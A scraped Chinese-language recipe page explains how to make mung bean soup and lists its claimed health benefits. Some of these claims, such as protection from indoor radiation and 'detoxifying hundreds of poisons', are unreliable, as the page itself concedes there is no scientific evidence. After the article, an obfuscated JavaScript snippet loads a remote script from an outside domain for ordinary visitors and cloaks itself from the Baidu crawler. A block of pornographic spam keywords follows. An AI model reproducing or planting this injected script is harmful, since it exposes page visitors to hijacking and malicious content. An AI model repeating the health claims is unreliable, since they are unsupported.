當前位置:首頁 > 飲食 > 食物營養 > 正文

梅林綠豆湯的做法及作用是什么?

2017-07-07 12:49:35  來源:360常識網   熱度:
導語:夏季是非常炎熱的季節,如果在高溫環境下待久了很容易中暑,夏季清熱解暑綠豆湯應該是非常好的,而且綠豆還有解毒的功效,在這樣炎熱的季節

夏季是非常炎熱的季節,如果在高溫環境下待久了很容易中暑,夏季清熱解暑綠豆湯應該是非常好的,而且綠豆還有解毒的功效,在這樣炎熱的季節綠豆會給人們帶來很多的好處呢,那么梅林綠豆湯的做法是什么呢,還有它具體有哪些功效呢?下面就讓我們一起去看一看吧。

食材的準備:

適量的綠豆、適量的冰糖

綠豆湯的做法:

1 將準備好的綠豆,挑一下,把一些壞豆挑出來。

2 接著,用涼水把綠豆浸泡半個小時左右。然后清洗干凈,備用。

3 在鍋中,放入適量的涼水,接著倒入綠豆,水最好沒過綠豆上方2到3公分為佳。

4 先用大火將水燒開,接著轉為中火。

5 當水快沒了的時候,你可能會發現鍋底的湯很黑,這個時候,可以用涼水來清洗一下。

6 接著,再用一個大小適中的鍋,放入大量的開水,再放入綠豆,蓋上鍋蓋,繼續煮。

7 這個時候,你可以看見,有一些綠豆皮漂了上來,如果你不愛吃的話,就可以把它們挑出來。

8 最后,加入適量的冰糖。蓋蓋。大火煮開。再用中火煮20分鐘左右,當綠豆軟爛后,就可以出鍋了。

功效:

1、防夏季室內輻

空調大開,門窗緊閉,這是夏天在寫字樓里工作的人們要面對的共同環境。在這樣的環境里一工作就是一天,并且天天如此,皮膚干燥、眼睛干澀都會自動“找上門來”。

這時,大家每天不妨多喝幾大碗綠豆湯。這就是經常綠豆湯的好處。雖然沒有科學數據證明,吃綠豆食品,比如喝綠豆湯,可以直接作用于抗輻射,但是,綠豆解百毒,它可以緩解或治療因外界環境,比如輻射給人體帶來的種種不適。尤其可以起到很好的預防作用,而每天喝上一碗綠豆湯就可以起到這樣的作用。

2、清熱解毒祛火消暑

綠豆味甘、性涼,有清熱解毒、祛火消暑的功能,常喝綠豆湯能幫助排泄體內的毒素,促進機體的正常代謝。這就是經常綠豆湯的好處。

綠豆與其他食品一起烹調療效更好,如綠豆銀花湯:取綠豆100克、金銀花30克,加水適量煮10分鐘左右即可,喝下清湯暑氣全消。

綠豆湯究竟一天喝多少才合適?可以根據個人自身的情況來定,體質強壯,容易上火,甚至身體有毒熱的人,就可以喝濃一點的綠豆湯,多喝幾碗也沒關系。

其實綠豆湯的做法很簡單,主要原料也就是綠豆,加入一些冰糖效果更好,在煮綠豆湯之前最好將綠豆泡開,這樣煮的時間可能會少一點,要不然需要煮很長時間才能爛,綠豆湯煮的爛一點味道會要一點,要不然綠豆湯就基本上就是水的味道了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产麻豆9l精品三级站| 91精品国产综合久久香蕉 | 人妻少妇看A偷人无码精品视频| 视频二区国产精品职场同事| 91精品视频观看| 久久福利青草精品资源站免费| 国内精品久久久久久影院| 99热精品在线播放| 日韩精品在线观看| 老司机精品视频免费| 亚洲精品自偷自拍无码| 久久av老司机精品网站导航| 国产精品成人69XXX免费视频| 精品无码久久久久久国产| 久久精品无码午夜福利理论片| 国产精品九九久久免费视频 | 亚洲精品宾馆在线精品酒店| 久久精品亚洲日本佐佐木明希| 国产成人精品曰本亚洲79ren | 亚洲精品456播放| 蝌蚪久热精品视频在线观看| 91午夜精品亚洲一区二区三区 | 亚洲爆乳精品无码一区二区三区| 亚洲AV蜜桃永久无码精品| 成人精品一区二区三区不卡免费看| 9999国产精品欧美久久久久久| 久久国产加勒比精品无码| 国产国拍精品亚洲AV片| 精品乱码一区内射人妻无码| 色欲AV永久无码精品无码| 精品免费久久久久久久| 久久久免费精品re6| 国产精品国产亚洲精品看不卡| 中文乱码精品一区二区三区| 国产福利精品视频自拍 | 99热在线日韩精品免费| 九九九精品视频免费| 国产精品不卡高清在线观看| 精品久久久无码人妻字幂| 国产精品国产三级专区第1集| 久久久久国产精品免费看|